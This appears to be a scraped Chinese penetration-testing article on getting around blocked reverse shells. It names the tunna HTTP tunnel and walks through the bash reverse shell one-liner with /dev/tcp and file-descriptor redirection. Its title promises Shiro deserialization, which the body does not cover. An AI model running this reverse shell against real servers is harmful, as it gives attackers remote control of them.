shiro反序列化可直接反弹shell(Shell反弹不出来怎么办)

本文目录
Shell反弹不出来怎么办
在渗透测试过程中,遇到shell无法反弹的情况,你是怎么处理的呢?
通常情况下,web服务器都放在了DMZ里面,那么就造成了数据的只进不出的情况,
数据不出就意味着无法反弹shell,但是他服务器的HTTP必须要出来,否则就无法响应访问了
那么我们就利用这一点来下功夫吧:)
工具有现成的了 —tunna
Mickey牛写的tunna使用实例
里面写的实例是tunna做远程终端数据转发,大部分人就以为tunna只能这样用了,
利用 Bash 反弹 shell
利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令
bash -i 》& /dev/tcp/ip/port 0》&1
但是为什么这样就能反弹一个 shell 呢?
》&
ls bebe 》& 1.txt
bebe 这个文件夹是不存在的,这个时候会发生什么呢?
会报错吗?不会的,因为错误信息被重定向到 1.txt 文件里了
在 linux 系统里面,各种文件都有自己的标识符,0 代表的是标准输入,1 代表的是标准输出, 2 代表的是标准错误输出,在上面的例子里,因为不存在 bebe 这个文件夹,所以在使用 ls 命令时系统会返回一个错误信息,这就是一个标准错误输出,而如果 bebe 文件夹存在的时候会是什么样呢?为了显示区别,我在 bebe 文件夹创建了一个 test 文件
可以看到,当用 2》 重定向到 3.txt 时是失败了的,里面没有任何东西,前面说了,2 在 linux 系统中代表的是标准错误输出,但是此时 bebe 文件夹是存在的,里面也有文件,所以系统不会返回一个错误信息,而是一个标准输出文件,用 1》 就能正确操作了。
既然有 》 ,那么肯定就有 《 了,》 是将输出重定向, 《 正好是反过来,重定向输入
/dev/tcp/ip/port
与一台主机指定端口建立 socket 连接
0 》& 1
这里将输入重定向到输入,如果反过来会发生什么,嘿嘿,测试一下
看到没,我在 linux 执行命令,但是命令在 windows 显示出来了,但是命令的回显又是在 linux 本机显示的,这个顺序反了啊
最后
对于这个命令的执行,我也只是查了一些资料,简单测试了一下,从我的理解来看,第一个 》& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上,最后的 0》&1 则是把本该在 linux 上的回显再重定向到 bash 的输入,而此时 bash 的输入是在远程主机之中,这就实现了命令的执行和回显都在远程主机中,方便进行操作。

更多文章:
全球新冠肺炎疫情背景下航运发展(盐田港复苏日志:半年历劫从“低谷”到“爆仓” 疫情之后巨轮如何越洋航行)
2026年9月7日 17:10
matlab求解带字母参数方程组(我想matlab求一个关于x,y的方程组 ab c d f e h m n 都是参数)
2026年9月7日 16:30
oracle中的循环语句(下面哪个不是oracle程序设计中的循环语句 a for)
2026年9月7日 15:30
电脑里2个系统怎么删除一个(电脑开机显示有两个系统,如何删除一个)
2026年9月7日 12:20
scrollthrough意思(“scroll”是什么意思)
2026年9月7日 08:00
怎么激活keygen(注册机如何激活cad2008一个简单激活cad2008的方法)
2026年9月7日 06:30




